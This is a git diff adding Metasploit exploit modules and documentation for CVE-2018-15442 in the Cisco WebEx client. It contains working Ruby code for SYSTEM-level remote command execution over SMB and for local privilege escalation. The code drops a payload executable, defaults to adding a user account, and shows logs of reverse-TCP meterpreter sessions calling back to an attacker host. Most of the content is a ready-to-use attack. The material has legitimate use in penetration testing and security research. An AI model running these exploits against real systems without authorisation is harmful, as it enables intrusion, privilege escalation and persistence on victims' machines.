diff --git a/documentation/modules/auxiliary/admin/smb/webexec_command.md b/documentation/modules/auxiliary/admin/smb/webexec_command.md new file mode 100644 index 0000000000..dafe0da0a3 --- /dev/null +++ b/documentation/modules/auxiliary/admin/smb/webexec_command.md @@ -0,0 +1,47 @@ +## Description + + This module exploits a remote code execution vulnerability in Cisco's WebEx client software versions < v33.6.0.655 + By supplying valid login credentials to the target machine, a single command can be executed with System privileges. + +## Vulnerable Application + + Cisco WebEx Client v33.3.8.7 and below + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use auxiliary/admin/smb/webexec_command``` + 4. Do: ```set RHOSTS ``` + 5. Do: ```set SMBUser ``` + 6. Do: ```set SMBPass ``` + 7. Do: ```run``` + 8. You should get output that verifies the execution of the command + +## Options + + **FORCE_GUI** + + Uses WMIC to create a GUI + +## Scenarios + +### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86 + + ``` + msf5 > use auxiliary/admin/smb/webexec_command + msf5 auxiliary(admin/smb/webexec_command) > set rhosts 192.168.37.136 + rhosts => 192.168.37.136 + msf5 auxiliary(admin/smb/webexec_command) > set smbuser a_user + smbuser => a_user + msf5 auxiliary(admin/smb/webexec_command) > set smbpass password + smbpass => password + msf5 auxiliary(admin/smb/webexec_command) > run + + [+] 192.168.37.136:445 - Command completed! + [*] 192.168.37.136:445 - Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + msf5 auxiliary(admin/smb/webexec_command) > + ``` diff --git a/documentation/modules/exploit/windows/local/webexec.md b/documentation/modules/exploit/windows/local/webexec.md new file mode 100644 index 0000000000..cd22b52eac --- /dev/null +++ b/documentation/modules/exploit/windows/local/webexec.md @@ -0,0 +1,62 @@ +## Description + + This module gets an elevated session with System privileges by exploiting a remote code execution vulnerability found + in Cisco's WebEx client software for versions below v33.6.0.655. + +## Vulnerable Application + + Cisco WebEx v33.3.8.7 and below + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Get a session + 4. Do: ```use exploit/windows/local/webexec``` + 5. Do: ```set SESSION ``` + 6. Do: ```run``` + 7. You should get an elevated session. + +## Scenarios + +### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86 + + ``` + + msf5 > use multi/handler + msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf5 exploit(multi/handler) > set lhost 192.168.37.1 + lhost => 192.168.37.1 + msf5 exploit(multi/handler) > run + + [*] Started reverse TCP handler on 192.168.37.1:4444 + [*] Sending stage (179779 bytes) to 192.168.37.136 + [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49161) at 2018-10-24 09:41:47 -0500 + + meterpreter > getuid + Server username: WIN-MGMN7ND70I1\a_user + meterpreter > background + [*] Backgrounding session 1... + msf5 exploit(multi/handler) > use exploit/windows/local/webexec + msf5 exploit(windows/local/webexec) > set session 1 + session => 1 + msf5 exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf5 exploit(windows/local/webexec) > set lhost 192.168.37.1 + lhost => 192.168.37.1 + msf5 exploit(windows/local/webexec) > run + + [*] Started reverse TCP handler on 192.168.37.1:4444 + [*] Checking service exists... + [*] Writing 73802 bytes to %SystemRoot%\Temp\Ak4U78kG.exe... + [*] Launching service... + [*] Sending stage (179779 bytes) to 192.168.37.136 + [*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.136:49162) at 2018-10-24 09:42:35 -0500 + [*] Service started... + + meterpreter > getuid + Server username: NT AUTHORITY\SYSTEM + meterpreter > + + ``` diff --git a/documentation/modules/exploit/windows/smb/webexec.md b/documentation/modules/exploit/windows/smb/webexec.md new file mode 100644 index 0000000000..897d6b5d19 --- /dev/null +++ b/documentation/modules/exploit/windows/smb/webexec.md @@ -0,0 +1,58 @@ +## Description + + This module exploits a remote code execution vulnerability in Cisco's WebEx client software for versions < v33.6.0.655. + + Vulnerable WebEx clients come with the `WebExService` that can execute arbitrary commands with System privileges. + Due to insufficient checks on permissions, a local or domain user can start the `WebExService` through a remote connection + and execute code. + +## Vulnerable Application + + Cisco WebEx software v33.3.8.7 and below + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/windows/smb/webexec``` + 4. Do: ```set RHOSTS ``` + 5. Do: ```set SMBUser ``` + 6. Do: ```set SMBPass ``` + 7. Do: ```run``` + 8. You should get a shell. + +## Scenarios + +### Tested on Cisco WebEx v33.3.8.7 on Windows 7 x64 and x86 + + ``` + + msf5 > use exploit/windows/smb/webexec + msf5 exploit(windows/smb/webexec) > set smbuser a_user + smbuser => a_user + msf5 exploit(windows/smb/webexec) > set smbpass password + smbpass => password + msf5 exploit(windows/smb/webexec) > set rhosts 192.168.37.136 + rhosts => 192.168.37.136 + msf5 exploit(windows/smb/webexec) > set payload windows/meterpreter/reverse_tcp + payload => windows/meterpreter/reverse_tcp + msf5 exploit(windows/smb/webexec) > set lhost 192.168.37.1 + lhost => 192.168.37.1 + msf5 exploit(windows/smb/webexec) > run + + [*] Started reverse TCP handler on 192.168.37.1:4444 + [*] 192.168.37.136:445 - Connecting to the server... + [*] 192.168.37.136:445 - Authenticating to 192.168.37.136:445 as user 'a_user'... + [*] 192.168.37.136:445 - Command Stager progress - 0.96% done (999/104435 bytes) + [*] 192.168.37.136:445 - Command Stager progress - 1.91% done (1998/104435 bytes) + ... + [*] 192.168.37.136:445 - Command Stager progress - 99.47% done (103880/104435 bytes) + [*] 192.168.37.136:445 - Command Stager progress - 100.00% done (104435/104435 bytes) + [*] Sending stage (179779 bytes) to 192.168.37.136 + [*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.136:49158) at 2018-10-24 09:10:46 -0500 + + meterpreter > getuid + Server username: NT AUTHORITY\SYSTEM + meterpreter > + + ``` diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index e3b07f7506..be04073265 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -31,10 +31,11 @@ require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/smb/client' require 'msf/core/exploit/smb/client/authenticated' require 'msf/core/exploit/smb/client/local_paths' -require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/client/pipe_auditor' +require 'msf/core/exploit/smb/client/psexec' require 'msf/core/exploit/smb/client/psexec_ms17_010' require 'msf/core/exploit/smb/client/remote_paths' +require 'msf/core/exploit/smb/client/webexec' require 'msf/core/exploit/smb/server' require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/ftp' diff --git a/lib/msf/core/exploit/smb/client/webexec.rb b/lib/msf/core/exploit/smb/client/webexec.rb new file mode 100644 index 0000000000..9b59733350 --- /dev/null +++ b/lib/msf/core/exploit/smb/client/webexec.rb @@ -0,0 +1,110 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/svcctl' +require 'windows_error' +require 'windows_error/win32' +require 'msf/core/exploit/exe' +require 'msf/core/exploit/wbemexec' + +include WindowsError::Win32 + +module Msf + +#### +# Makes use of a WebEx service vulnerability that works similarly to psexec. +# +# This code was stolen straight out of the psexec module which was stolen from +# the standalone Psexec tool. Thanks very much for all who contributed to that +# module!! Instead of uploading and running a binary. +#### + +module Exploit::Remote::SMB::Client::WebExec + + include Msf::Exploit::Windows_Constants + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Client::Authenticated + include Msf::Exploit::Failure + + def initialize(info = {}) + super + register_options( + [ + OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']), + ], self.class) + + register_advanced_options( + [ + ], self.class) + end + + def execute_single_command(command, opts) + command = command.split(/ /) + svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command]) + case svc_status + when ERROR_SUCCESS + # This happens a lot, so don't print it + # print_good("Service started successfully...") + when ERROR_FILE_NOT_FOUND + print_error("Service failed to start - FILE_NOT_FOUND") + when ERROR_ACCESS_DENIED + print_error("Service failed to start - ACCESS_DENIED") + when ERROR_SERVICE_REQUEST_TIMEOUT + print_good("Service start timed out") + else + print_error("Service failed to start, ERROR_CODE: #{svc_status}") + end + end + + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # echo it to a .txt file and then use the {#smb_read_file} method to + # retrieve it. Make sure to remove the files manually or use + # {Exploit::FileDropper#register_files_for_cleanup} to have the + # {Exploit::FileDropper#cleanup} and + # {Exploit::FileDropper#on_new_session} handlers do it for you. + # + # @param command [String] Should be a valid windows command + # @param disconnect [Boolean] Disconnect afterwards + # @return [Boolean] Whether everything went well + def wexec(disconnect=true) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("Bound to #{handle} ...") + vprint_status("Obtaining a service manager handle...") + + svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc) + # This is the only permission non-admin gets on Windows 7 (and likely others) + scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001) + + if scm_status == ERROR_ACCESS_DENIED + print_error("ERROR_ACCESS_DENIED opening the Service Manager") + end + + return false unless scm_handle + + # These are the best permissions I could use for a non-admin account on Windows 7 + svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010) + + if svc_handle.nil? + print_error("No service handle retrieved") + return false + end + + vprint_status("Starting the service...") + begin + yield({ :svc_client => svc_client, :svc_handle => svc_handle }) + ensure + vprint_status("Closing service handle...") + svc_client.closehandle(svc_handle) + end + + if disconnect + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + end + + true + end +end +end diff --git a/lib/rex/proto/dcerpc/svcctl/packet.rb b/lib/rex/proto/dcerpc/svcctl/packet.rb index e48a45d3ff..f0ad1a9f4c 100644 --- a/lib/rex/proto/dcerpc/svcctl/packet.rb +++ b/lib/rex/proto/dcerpc/svcctl/packet.rb @@ -208,13 +208,41 @@ class Client # it. Returns true on success, or false. # # @param svc_handle [String] the handle of the service (from {#openservicew}). - # @param magic1 [Integer] an unknown value. - # @param magic2 [Integer] another unknown value. + # @param args [Array] an array of arguments to pass to the service (or nil) # # @return [Integer] Windows error code - def startservice(svc_handle, magic1 = 0, magic2 = 0) + def startservice(svc_handle, args=[]) svc_status = nil - stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2) + + if args.empty? + stubdata = svc_handle + NDR.long(0) + NDR.long(0) + else + # This is just an arbitrary "pointer" value, gonna match it to what the real version uses + id_value = 0x00000200 + + stubdata = svc_handle + stubdata += NDR.long(args.length) + NDR.long(id_value) + NDR.long(args.length) + + # Encode an id value for each parameter + args.each do + id_value += 0x04000000 + stubdata += NDR.long(id_value) + end + + # Encode the values now + args.each do |arg| + # We can't use NDR.uwstring here, because we need the "id" values to come first + stubdata += NDR.long(arg.length + 1) + NDR.long(0) + NDR.long(arg.length + 1) + + # Unicode string + stubdata += Rex::Text.to_unicode(arg + "\0") + + # Padding + if((arg.length % 2) == 0) + stubdata += Rex::Text.to_unicode("\0") + end + end + end begin response = dcerpc_client.call(0x13, stubdata) diff --git a/modules/auxiliary/admin/smb/webexec_command.rb b/modules/auxiliary/admin/smb/webexec_command.rb new file mode 100644 index 0000000000..ca56cc1c2a --- /dev/null +++ b/modules/auxiliary/admin/smb/webexec_command.rb @@ -0,0 +1,69 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SMB::Client::WebExec + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT = Rex::Proto::SMB::Exceptions + CONST = Rex::Proto::SMB::Constants + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WebEx Remote Command Execution Utility', + 'Description' => %q{ + This module enables the execution of a single command as System by exploiting a remote + code execution vulnerability in Cisco's WebEx client software. + }, + + 'Author' => [ + 'Ron Bowes ', + ], + + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://webexec.org'], + ['CVE', '2018-15442'] + ] + )) + + register_options([ + OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']), + OptPort.new('RPORT', [true, 'The Target port', 445]), + OptBool.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', false]), + ]) + end + + # This is the main control method + def run_host(ip) + @smbshare = datastore['SMBSHARE'] + @ip = ip + + # Try and authenticate with given credentials + if connect + begin + smb_login + rescue Rex::Proto::SMB::Exceptions::Error => autherror + print_error("Unable to authenticate with given credentials: #{autherror}") + return + end + + command = datastore['COMMAND'] + if datastore['FORCE_GUI'] + command = "WMIC PROCESS CALL Create \"#{command}\"" + end + + wexec(true) do |opts| + execute_single_command(command, opts) + end + + print_good("Command completed!") + disconnect + end + end +end diff --git a/modules/exploits/windows/local/webexec.rb b/modules/exploits/windows/local/webexec.rb new file mode 100644 index 0000000000..64b17af407 --- /dev/null +++ b/modules/exploits/windows/local/webexec.rb @@ -0,0 +1,203 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + + def initialize(info={}) + super( update_info( info, + 'Name' => 'WebEx Local Service Permissions Exploit', + 'Description' => %q{ + This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM, + can be used to run arbitrary commands locally, and can be started by limited users in + default installations. + }, + 'References' => + [ + ['URL', 'https://webexec.org'], + ['CVE', '2018-15442'] + ], + 'DisclosureDate' => "Oct 09 2018", + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeff McJunkin ' + ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'SessionTypes' => [ "meterpreter" ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => 5, + 'ReverseConnectRetries' => 255 + }, + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"]) + ]) + @service_name = 'webexservice' + end + + def validate_arch + return target unless target.name == 'Automatic' + + case sysinfo['Architecture'] + when 'x86' + fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64' + vprint_status('Detected x86 system') + return targets[1] + when 'x64' + vprint_status('Detected x64 system') + return targets[2] + end + end + + def check_service_exists?(service) + srv_info = service_info(service) + + if srv_info.nil? + vprint_warning("Unable to enumerate services.") + return false + end + + if srv_info && srv_info[:display].empty? + vprint_warning("Service #{service} does not exist.") + return false + else + return true + end + end + + def check + unless check_service_exists?(@service_name) + return Exploit::CheckCode::Safe + end + + srv_info = service_info(@service_name) + + vprint_status(srv_info.to_s) + + case START_TYPE[srv_info[:starttype]] + when 'Disabled' + vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + vprint_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Appears + end + + def check_write_access(path) + perm = check_dir_perms(path, @token) + if perm and perm.include?('W') + print_good("Write permissions in #{path} - #{perm}") + return true + elsif perm + vprint_status ("Permissions for #{path} - #{perm}") + else + vprint_status ("No permissions for #{path}") + end + + return false + end + + + def exploit + begin + @token = get_imperstoken + rescue Rex::Post::Meterpreter::RequestError + vprint_error("Error while using get_imperstoken: #{e}") + end + + fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token + + if is_system? + fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.") + end + + print_status("Checking service exists...") + if !check_service_exists?(@service_name) + fail_with(Failure::NoTarget, "The service doesn't exist.") + end + + if is_uac_enabled? + print_warning("UAC is enabled, may get false negatives on writable folders.") + end + + # Use manually selected Dir + file_path = datastore['DIR'] + + @exe_file_name = Rex::Text.rand_text_alphanumeric(8) + @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe" + + service_information = service_info(@service_name) + + # Check architecture + valid_arch = validate_arch + exe = generate_payload_exe(:arch => valid_arch.arch) + + # + # Drop the malicious executable into the path + # + print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...") + begin + write_file(@exe_file_path, exe) + register_file_for_cleanup(@exe_file_path) + rescue Rex::Post::Meterpreter::RequestError => e + # Can't write the file, can't go on + fail_with(Failure::Unknown, e.message) + end + + # + # Run the service + # + print_status("Launching service...") + res = cmd_exec("cmd.exe", + "/c sc start webexservice install software-update 1 #{@exe_file_path}") + + if service_restart(@service_name) + print_status("Service started...") + else + service_information = service_info(@service_name) + if service_information[:starttype] == START_TYPE_AUTO + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + break if session_created? + select(nil,nil,nil,1) + end + else + fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end + else + fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") + end + end + end +end + diff --git a/modules/exploits/windows/smb/webexec.rb b/modules/exploits/windows/smb/webexec.rb new file mode 100644 index 0000000000..b0ee151ba9 --- /dev/null +++ b/modules/exploits/windows/smb/webexec.rb @@ -0,0 +1,187 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Windows XP systems that are not part of a domain default to treating all +# network logons as if they were Guest. This prevents SMB relay attacks from +# gaining administrative access to these systems. This setting can be found +# under: +# +# Local Security Settings > +# Local Policies > +# Security Options > +# Network Access: Sharing and security model for local accounts + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::SMB::Client::WebExec + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WebExec Authenticated User Code Execution', + 'Description' => %q{ + This module uses a valid username and password of any level (or + password hash) to execute an arbitrary payload. This module is similar + to the "psexec" module, except allows any non-guest account by default. + }, + 'Author' => + [ + 'Ron ', + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'EXITFUNC' => 'thread' + }, + 'References' => + [ + ['URL', 'https://webexec.org'], + [ 'CVE', '2018-15442' ], + ], + 'Payload' => + { + 'Space' => 3072, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Native upload', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 24 2018' + )) + + register_options( + [ + # This has to be a full path, %ENV% variables are not expanded + OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ]) + ]) + + register_advanced_options( + [ + OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), + OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]), + ]) + end + + # This is the callback for cmdstager, which breaks the full command into + # chunks and sends it our way. We have to do a bit of finangling to make it + # work correctly + def execute_command(command, opts) + # Replace the empty string, "", with a workaround - the first 0 characters of "A" + command = command.gsub('""', 'mid(Chr(65), 1, 0)') + + # Replace quoted strings with Chr(XX) versions, in a naive way + command = command.gsub(/"[^"]*"/) do |capture| + capture.gsub(/"/, "").chars.map do |c| + "Chr(#{c.ord})" + end.join('+') + end + + # Prepend "cmd /c" so we can use a redirect + command = "cmd /c " + command + + execute_single_command(command, opts) + end + + def exploit + print_status("Connecting to the server...") + connect(versions: [2,1]) + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if not simple.client.auth_user and not datastore['ALLOW_GUEST'] + print_line(" ") + print_error( + "FAILED! The remote host has only provided us with Guest privileges. " + + "Please make sure that the correct username and password have been provided. " + + "Windows XP systems that are not part of a domain will only provide Guest privileges " + + "to network logins by default." + ) + print_line(" ") + disconnect + return + end + + begin + if datastore['SMBUser'].to_s.strip.length > 0 + report_auth + end + + # Avoid implementing NTLMSSP on Windows XP + # http://seclists.org/metasploit/2009/q1/6 + if smb_peer_os == "Windows 5.1" + connect(versions: [1]) + smb_login + end + + wexec(true) do |opts| + opts[:flavor] = :vbs + opts[:linemax] = datastore['MAX_LINE_LENGTH'] + opts[:temp] = datastore['TMPDIR'] + opts[:delay] = 0.05 + execute_cmdstager(opts) + end + handler + disconnect + end + + end + + def report_auth + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) + end + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end